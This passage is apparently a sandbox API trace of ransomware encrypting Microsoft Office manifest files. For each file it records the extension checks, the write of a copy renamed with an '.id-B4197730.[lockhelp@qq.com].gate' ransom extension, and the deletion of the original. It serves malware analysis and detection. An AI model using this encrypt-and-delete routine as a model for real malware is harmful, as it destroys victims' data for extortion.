returned 51 [0117.057] lstrlenW (lpString=".doc") returned 4 [0117.057] lstrcmpiW (lpString1=".doc", lpString2=".VBS") returned -1 [0117.057] lstrlenW (lpString=".docx") returned 5 [0117.057] lstrcmpiW (lpString1=".docx", lpString2="P.VBS") returned -1 [0117.057] lstrlenW (lpString=".pdf") returned 4 [0117.057] lstrcmpiW (lpString1=".pdf", lpString2=".VBS") returned -1 [0117.057] lstrlenW (lpString=".xls") returned 4 [0117.058] lstrcmpiW (lpString1=".xls", lpString2=".VBS") returned 1 [0117.058] lstrlenW (lpString=".xlsx") returned 5 [0117.058] lstrcmpiW (lpString1=".xlsx", lpString2="P.VBS") returned -1 [0117.058] lstrlenW (lpString=".ppt") returned 4 [0117.058] lstrcmpiW (lpString1=".ppt", lpString2=".VBS") returned -1 [0117.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0117.058] lstrlenW (lpString=".zip") returned 4 [0117.058] lstrcmpiW (lpString1=".zip", lpString2=".VBS") returned 1 [0117.058] lstrlenW (lpString=".rar") returned 4 [0117.058] lstrcmpiW (lpString1=".rar", lpString2=".VBS") returned -1 [0117.058] lstrlenW (lpString=".bz2") returned 4 [0117.058] lstrcmpiW (lpString1=".bz2", lpString2=".VBS") returned -1 [0117.058] lstrlenW (lpString=".7z") returned 3 [0117.058] lstrcmpiW (lpString1=".7z", lpString2="VBS") returned -1 [0117.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0117.058] lstrlenW (lpString=".dbf") returned 4 [0117.058] lstrcmpiW (lpString1=".dbf", lpString2=".VBS") returned -1 [0117.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0117.058] lstrlenW (lpString=".1cd") returned 4 [0117.058] lstrcmpiW (lpString1=".1cd", lpString2=".VBS") returned -1 [0117.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0117.058] lstrlenW (lpString=".jpg") returned 4 [0117.058] lstrcmpiW (lpString1=".jpg", lpString2=".VBS") returned -1 [0117.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0117.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0117.058] lstrlenW (lpString=".doc") returned 4 [0117.058] lstrcmpiW (lpString1=".doc", lpString2=".VBS") returned -1 [0117.059] lstrlenW (lpString=".docx") returned 5 [0117.059] lstrcmpiW (lpString1=".docx", lpString2="P.VBS") returned -1 [0117.059] lstrlenW (lpString=".pdf") returned 4 [0117.059] lstrcmpiW (lpString1=".pdf", lpString2=".VBS") returned -1 [0117.059] lstrlenW (lpString=".xls") returned 4 [0117.059] lstrcmpiW (lpString1=".xls", lpString2=".VBS") returned 1 [0117.059] lstrlenW (lpString=".xlsx") returned 5 [0117.059] lstrcmpiW (lpString1=".xlsx", lpString2="P.VBS") returned -1 [0117.059] lstrlenW (lpString=".ppt") returned 4 [0117.059] lstrcmpiW (lpString1=".ppt", lpString2=".VBS") returned -1 [0117.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0117.059] lstrlenW (lpString=".zip") returned 4 [0117.059] lstrcmpiW (lpString1=".zip", lpString2=".VBS") returned 1 [0117.059] lstrlenW (lpString=".rar") returned 4 [0117.059] lstrcmpiW (lpString1=".rar", lpString2=".VBS") returned -1 [0117.059] lstrlenW (lpString=".bz2") returned 4 [0117.059] lstrcmpiW (lpString1=".bz2", lpString2=".VBS") returned -1 [0117.059] lstrlenW (lpString=".7z") returned 3 [0117.059] lstrcmpiW (lpString1=".7z", lpString2="VBS") returned -1 [0117.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0117.059] lstrlenW (lpString=".dbf") returned 4 [0117.059] lstrcmpiW (lpString1=".dbf", lpString2=".VBS") returned -1 [0117.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0117.059] lstrlenW (lpString=".1cd") returned 4 [0117.059] lstrcmpiW (lpString1=".1cd", lpString2=".VBS") returned -1 [0117.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0117.060] lstrlenW (lpString=".jpg") returned 4 [0117.060] lstrcmpiW (lpString1=".jpg", lpString2=".VBS") returned -1 [0117.060] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0117.060] lstrlenW (lpString="AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 53 [0117.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0117.061] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=387356) returned 1 [0117.061] CloseHandle (hObject=0x358) returned 1 [0117.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml")) returned 0x220 [0117.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0117.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0117.062] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0117.062] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0117.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0117.062] GetLastError () returned 0x0 [0117.062] ReadFile (in: hFile=0x358, lpBuffer=0x402b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesRead=0x362fecc*=0x5e91c, lpOverlapped=0x0) returned 1 [0117.427] WriteFile (in: hFile=0x35c, lpBuffer=0x402b020*, nNumberOfBytesToWrite=0x5e920, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesWritten=0x362fc94*=0x5e920, lpOverlapped=0x0) returned 1 [0117.436] ReadFile (in: hFile=0x358, lpBuffer=0x402b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0117.436] WriteFile (in: hFile=0x35c, lpBuffer=0x402b020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesWritten=0x362fc94*=0x13e, lpOverlapped=0x0) returned 1 [0117.436] SetEndOfFile (hFile=0x35c) returned 1 [0117.436] CloseHandle (hObject=0x35c) returned 1 [0117.447] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0117.447] SetEndOfFile (hFile=0x358) returned 1 [0117.452] CloseHandle (hObject=0x358) returned 1 [0117.452] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0117.452] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml")) returned 1 [0117.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0117.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0117.453] lstrlenW (lpString=".doc") returned 4 [0117.453] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0117.453] lstrlenW (lpString=".docx") returned 5 [0117.453] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0117.453] lstrlenW (lpString=".pdf") returned 4 [0117.453] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0117.453] lstrlenW (lpString=".xls") returned 4 [0117.453] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0117.453] lstrlenW (lpString=".xlsx") returned 5 [0117.453] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0117.453] lstrlenW (lpString=".ppt") returned 4 [0117.453] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0117.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0117.453] lstrlenW (lpString=".zip") returned 4 [0117.453] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0117.453] lstrlenW (lpString=".rar") returned 4 [0117.453] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0117.453] lstrlenW (lpString=".bz2") returned 4 [0117.453] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0117.453] lstrlenW (lpString=".7z") returned 3 [0117.453] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0117.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0117.454] lstrlenW (lpString=".dbf") returned 4 [0117.454] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0117.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0117.454] lstrlenW (lpString=".1cd") returned 4 [0117.454] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0117.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0117.454] lstrlenW (lpString=".jpg") returned 4 [0117.454] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0117.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0117.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0117.454] lstrlenW (lpString=".doc") returned 4 [0117.454] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0117.454] lstrlenW (lpString=".docx") returned 5 [0117.454] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0117.454] lstrlenW (lpString=".pdf") returned 4 [0117.454] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0117.454] lstrlenW (lpString=".xls") returned 4 [0117.454] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0117.454] lstrlenW (lpString=".xlsx") returned 5 [0117.454] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0117.454] lstrlenW (lpString=".ppt") returned 4 [0117.454] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0117.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0117.454] lstrlenW (lpString=".zip") returned 4 [0117.454] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0117.455] lstrlenW (lpString=".rar") returned 4 [0117.455] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0117.455] lstrlenW (lpString=".bz2") returned 4 [0117.455] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0117.455] lstrlenW (lpString=".7z") returned 3 [0117.455] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0117.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0117.455] lstrlenW (lpString=".dbf") returned 4 [0117.455] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0117.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0117.455] lstrlenW (lpString=".1cd") returned 4 [0117.455] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0117.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0117.455] lstrlenW (lpString=".jpg") returned 4 [0117.455] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0117.455] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0117.455] lstrlenW (lpString="AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 53 [0117.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0117.456] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=1261) returned 1 [0117.456] CloseHandle (hObject=0x358) returned 1 [0117.456] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml")) returned 0x220 [0117.456] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0117.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0117.456] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0117.456] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0117.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0117.457] GetLastError () returned 0x0 [0117.457] ReadFile (in: hFile=0x358, lpBuffer=0x402b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesRead=0x362fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0117.778] WriteFile (in: hFile=0x35c, lpBuffer=0x402b020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesWritten=0x362fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0117.779] ReadFile (in: hFile=0x358, lpBuffer=0x402b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0117.780] WriteFile (in: hFile=0x35c, lpBuffer=0x402b020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesWritten=0x362fc94*=0x13e, lpOverlapped=0x0) returned 1 [0117.780] SetEndOfFile (hFile=0x35c) returned 1 [0117.780] CloseHandle (hObject=0x35c) returned 1 [0117.780] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0117.780] SetEndOfFile (hFile=0x358) returned 1 [0117.781] CloseHandle (hObject=0x358) returned 1 [0117.781] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0117.782] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml")) returned 1 [0117.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0117.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0117.782] lstrlenW (lpString=".doc") returned 4 [0117.782] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0117.782] lstrlenW (lpString=".docx") returned 5 [0117.782] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0117.782] lstrlenW (lpString=".pdf") returned 4 [0117.782] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0117.782] lstrlenW (lpString=".xls") returned 4 [0117.782] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0117.782] lstrlenW (lpString=".xlsx") returned 5 [0117.782] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0117.782] lstrlenW (lpString=".ppt") returned 4 [0117.782] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0117.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0117.782] lstrlenW (lpString=".zip") returned 4 [0117.782] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0117.782] lstrlenW (lpString=".rar") returned 4 [0117.783] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0117.783] lstrlenW (lpString=".bz2") returned 4 [0117.783] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0117.783] lstrlenW (lpString=".7z") returned 3 [0117.783] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0117.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0117.783] lstrlenW (lpString=".dbf") returned 4 [0117.783] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0117.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0117.783] lstrlenW (lpString=".1cd") returned 4 [0117.783] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0117.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0117.783] lstrlenW (lpString=".jpg") returned 4 [0117.783] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0117.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0117.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0117.783] lstrlenW (lpString=".doc") returned 4 [0117.783] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0117.783] lstrlenW (lpString=".docx") returned 5 [0117.783] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0117.783] lstrlenW (lpString=".pdf") returned 4 [0117.783] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0117.783] lstrlenW (lpString=".xls") returned 4 [0117.783] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0117.783] lstrlenW (lpString=".xlsx") returned 5 [0117.783] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0117.783] lstrlenW (lpString=".ppt") returned 4 [0117.783] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0117.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0117.783] lstrlenW (lpString=".zip") returned 4 [0117.784] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0117.784] lstrlenW (lpString=".rar") returned 4 [0117.784] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0117.784] lstrlenW (lpString=".bz2") returned 4 [0117.784] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0117.784] lstrlenW (lpString=".7z") returned 3 [0117.784] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0117.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0117.784] lstrlenW (lpString=".dbf") returned 4 [0117.784] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0117.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0117.784] lstrlenW (lpString=".1cd") returned 4 [0117.784] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0117.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0117.784] lstrlenW (lpString=".jpg") returned 4 [0117.784] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0117.784] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0117.784] lstrlenW (lpString="AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 53 [0117.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0119.687] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=253712) returned 1 [0119.687] CloseHandle (hObject=0x344) returned 1 [0119.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml")) returned 0x220 [0119.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0119.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0119.688] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0119.688] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0119.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0119.688] GetLastError () returned 0x0 [0119.688] ReadFile (in: hFile=0x344, lpBuffer=0x402b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesRead=0x362fecc*=0x3df10, lpOverlapped=0x0) returned 1 [0120.506] WriteFile (in: hFile=0x358, lpBuffer=0x402b020*, nNumberOfBytesToWrite=0x3df20, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesWritten=0x362fc94*=0x3df20, lpOverlapped=0x0) returned 1 [0120.509] ReadFile (in: hFile=0x344, lpBuffer=0x402b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0120.510] WriteFile (in: hFile=0x358, lpBuffer=0x402b020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesWritten=0x362fc94*=0x13e, lpOverlapped=0x0) returned 1 [0120.510] SetEndOfFile (hFile=0x358) returned 1 [0124.085] CloseHandle (hObject=0x358) returned 1 [0124.294] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0124.294] SetEndOfFile (hFile=0x344) returned 1 [0124.297] CloseHandle (hObject=0x344) returned 1 [0124.297] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 